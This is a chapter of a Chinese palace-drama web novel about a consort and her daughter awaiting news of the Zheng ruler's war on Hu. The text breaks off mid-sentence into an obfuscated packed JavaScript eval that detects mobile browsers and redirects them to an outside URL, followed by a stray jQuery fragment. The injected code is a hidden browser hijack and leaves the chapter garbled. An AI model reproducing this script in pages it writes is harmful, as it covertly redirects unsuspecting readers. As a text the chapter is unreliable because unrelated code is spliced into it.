139. 郑伯之女13
作品:《剧情打卡[快穿]》 秋意渐深,宫苑池沼中的荷花早已凋零,只剩下些枯槁的茎秆立在渐寒的水中,在北风里发出细碎而干涩的摩擦声,像是在无声地诉说着什么。
青洛的“病”看似好了,但她的话却更少了。她常常独自一人站在水边,看着那些残荷,一看便是许久。姜昭阳远远望着女儿单薄而挺直的背影,心中那份不安如同池水下的暗流,涌动不息。
她不再试图去宽慰,因为任何言语在即将到来的残酷现实面前都显得苍白无力。她只是命人在水边亭中常备手炉和厚毯,在青洛驻足时,默默为她披上。
一日,青洛忽然开口,声音轻得像是在自言自语:“母亲,您说这些荷叶,夏日里亭亭如盖,为何到了秋日,便只能这般零落成泥?”
姜昭阳走到她身边,与她一同望着那一片萧瑟:“四时更替,万物有时。盛极而衰,本是常理。”
“可它们的根,还埋在泥里。”青洛转过头,目光清凌凌地看向姜昭阳,“只要根还在,明年夏日,或许又能生出新的叶子来,是吗?”
姜昭阳心中一震,从女儿的话语中听出了别样的意味。她是在说胡国?还是在说那位身陷囹圄的阿姊?亦或是在说她们自己在这风云变幻的宫闱中的处境?
“是啊,”姜昭阳握住青洛微凉的手,试图将自己的力量传递过去,“只要根脉未绝,总有一线生机。”这话,是说给青洛听,又何尝不是说给她自己听。
郑伯已经有七八日未曾踏足后宫了。前朝传来的消息也愈发稀少,仿佛有一道无形的帷幕,将所有的机要都与后宫隔绝开来。
然而,有些痕迹是无法完全掩盖的。
这日,一位小内侍在打扫郑伯偶尔用来小憩的偏殿时,不慎碰落了一卷未曾完全卷起的绢帛。那绢帛散开,赫然是一幅描绘精细的舆图,上面用朱笔勾勒出清晰的进军路线,箭头所指,正是胡国都城!虽然那小内侍吓得魂飞魄散,立刻将绢帛卷好放回原处,但这惊鸿一瞥的景象,还是通过某些隐秘的渠道,传到了姜昭阳耳中。
她听闻后,只是静静地坐在窗边,良久未动。最后一丝侥幸心理,也如同窗外那最后一片在枝头的枯叶,终于被寒风吹落。图穷匕见,最后的时刻,真的就要到了。
她没有将这个消息告诉青洛,但她感觉到,青洛似乎也知晓了。因为从那天起,青洛阅读时,手边的书卷换成了一些更古老的、关于星象占卜的典籍,虽然她依旧沉默,但姜昭阳能感受到,女儿似乎在凭借着某种她无法理解的方式,探寻着那渺茫的“一线生机”。
在一个北风呼啸的夜晚,郑伯突然来到了申华宫。他没有穿正式的朝服,只是一身玄色常衣,神色间带着一丝难以掩饰的疲惫,但眼神却亮得惊人,如同暗夜中即将出击的鸷鸟。
他没有过多寒暄,只是先去看了一眼熟睡中的悟生,轻轻摸了摸儿子红润的脸颊,眼神中流露出一丝罕见的、纯粹的温情。然后,他走到姜昭阳面前,深深地看了她一眼。
“寡人近日要闭关静思,斋戒祈福,或许会有段时日不能来看望你们。”他的声音低沉平稳,听不出任何异常,“申华宫上下,就托付给夫人了。照顾好悟生,还有……青洛那孩子。”
姜昭阳的心猛地一沉。她听懂了这平静话语下的诀别之意。他不是去斋戒,他是要御驾亲征,去完成那场蓄谋已久的征伐!这番嘱托,是丈夫对妻子的托付,更是一国之君对留守宫眷的安排。
她压下喉头的哽咽,垂下眼睫,恭敬而郑重地行了一礼:“君上放心,妾身必定竭尽所能,守护好申华宫,等待君上归来。”
她没有问归期,也没有流露出丝毫担忧,只是用最坚定的姿态,表明了她的理解和支持。
郑伯凝视着她,目光复杂,似乎想说什么,最终却只是伸出手,轻轻拍了拍她的肩膀,力道很重,仿佛要将什么无形的重担交付于她。然后,他毅然转身,大步融入殿外浓重的夜色之中,再未回头。
姜昭阳站在原地,望着他消失的方向,直到那脚步声彻底消失在风里,她才缓缓抬起手,按住了自己剧烈跳动的心口。她知道,从他踏出宫门的这一刻起,伐胡之役,已然开启。新郑的平静,即将被彻底打破。而她和青洛,所能做的,唯有在这风暴眼中,竭力维持着表面的平静,等待着一个未知的结局。
深秋的雨,下得缠绵而阴冷,不大,却足以打湿衣裳,浸透鞋袜,带来刺骨的寒意。这样的天气持续了好几日,将新郑笼罩在一片灰蒙蒙的水汽之中。
姜昭阳站在殿门前,看着廊下连绵不断的雨帘,心中焦灼。这样的天气,不利于行军,不利于作战。她不知道南方的战事是否已经发动,若是已经发动,这样的秋雨对郑军是利是弊?她不敢深想,每一种可能性都让她心惊肉跳。
青洛不知何时来到了她身边,也静静地看着雨。
“母亲在担心父亲吗?”青洛轻声问。
姜昭阳没有否认,只是叹了口气:“这样的天气……”
青洛沉默片刻,目光似乎穿透了雨幕,望向遥远的南方。她没有引用任何不存在的兵书,只是依据最基本的生存智慧和从老宫人那里听来的零碎经验,低声道:“雨水会模糊足迹,掩盖声响。或许……也能让警惕的人放松。”
她的推断朴素至极,却奇异地切中了要害。姜昭阳有些讶异地看向女儿。青洛的分析显得如此冷静而笃定,仿佛亲眼见到了沙场点兵一般。她不再追问,只是心中那份因天气而起的忧虑,竟真的被女儿这几句平实的话冲淡了些许。
等待,成了申华宫里唯一的事情。
姜昭阳将更多的精力投入到管理宫务和照料悟生上。她亲自检查悟生的冬衣是否足够保暖,督促宫人将殿内的火盆准备好,仿佛通过这些琐碎的日常,就能抓住一些实实在在的、可以掌控的东西。
宫墙内外,一片压抑的宁静。但这宁静,如同拉满的弓弦,紧绷到了极致。
这日,姜昭阳正与宫中女史核对宴席所需的礼器清单,青洛安静地坐在一旁,手中捧着一卷关于礼仪的古简,虽目光落在简上,心神却似乎飘向了远方。
忽然,殿外传来一阵急促却刻意放轻的脚步声。一名心腹侍女匆匆入内,在姜昭阳耳边低语了几句。
姜昭阳执笔的手微微一顿,笔尖的朱砂在竹简上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599613|186897||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
凝成了一个殷红的圆点。她面上不动声色,只对女史淡淡道:“暂且按此单准备,若有变动,再行知会。”
女史躬身退下。殿内只剩下母女二人。
“母亲,”青洛放下竹简,抬眼望来,眸色清亮,“是南边有消息了?”
姜昭阳没有立刻回答,她走到窗边,望着庭院中凋零的枯枝,沉默了片刻,才缓缓道:“前朝刚接到军报,君上已攻入胡国都城。”
她的声音平静,听不出太多喜悦,反而带着一种尘埃落定般的沉重。胜利的消息传来了,但凯旋的仪仗并未随之宣告,君上归期依旧未定。
青洛走到她身边,与她一同望向窗外萧瑟的冬景。她能感受到嫡母平静外表下那一丝复杂的情绪——有对胜利的释然,有对夫君安危的关切,或许,也有一闪而过的、对那位身处胡国都城的长姐命运的无声叹息。
“父亲用兵如神,既定都城,大局已掌。”青洛的声音很轻,带着一种安抚的力量,“想必不日便能妥善处置完毕,启程归京。”
姜昭阳转过身,看着眼前沉静早慧的女儿,心中那份微妙的滞涩感仿佛被熨平了些许。她伸手,轻轻理了理青洛的衣襟,嘴角牵起一抹温和的弧度:“是啊,你父亲定会安排好一切。眼下,我们只需将悟生的周岁宴办好,让他回来时,能看到一个健壮活泼的嫡子,一个安稳如初的申华宫。”
她将目光重新投向案几上那份未核完的礼单,眼神恢复了惯有的沉静与笃定。无论前方是胜利的荣光还是胜利背后必须承担的代价,她作为郑国的夫人,申华宫的主母,此刻最重要的职责,便是稳住这后方,等待那个男人的归来。
她拿起笔,轻轻刮去竹简上那点多余的朱砂,重新蘸墨,继续书写起来。笔触稳健,一如她此刻的心境。
这日,姜昭阳将初步选定的抓周物件一一摆放在案几上,让青洛也来看看。其中有象征权力的玉圭,象征学识的竹简,象征勇武的小弓模型,象征富足的贝币等。
青洛的目光缓缓扫过这些物件,最后停留在那枚小巧的玉圭上,沉默了片刻。
“母亲,”她轻声开口,“可否……再添一物?”
姜昭阳有些讶异:“添何物?”
青洛走到一旁,取来一小束用丝线捆扎好的、晒干的黍米,穗头金黄饱满。她将这把黍米轻轻放在那些金玉之物旁边,朴素的金黄与玉圭的温润、贝币的光泽形成了奇特的对比。
“《诗》云,‘彼黍离离,彼稷之苗’。”青洛的声音很轻,却带着一种沉甸甸的力量,“女儿以为,社稷之本,在于民生。添此五谷,愿弟弟将来,无论手握何物,心中皆不忘稼穑之艰,黎民之苦。”
姜昭阳怔住了。她看着女儿沉静的侧脸,又看看那束代表着最根本生存需求的黍米,心中百感交集。在这满是权力、财富与技艺象征的物件中,这把黍米显得如此格格不入,却又如此震耳欲聋。她瞬间明白了青洛的深意——这不仅是对悟生的期盼,或许,也是对那位正在南方征伐的君父,一种无声的提醒。
“好,”姜昭阳压下喉头的微哽,点了点头,“便依你,添上这束黍米。”

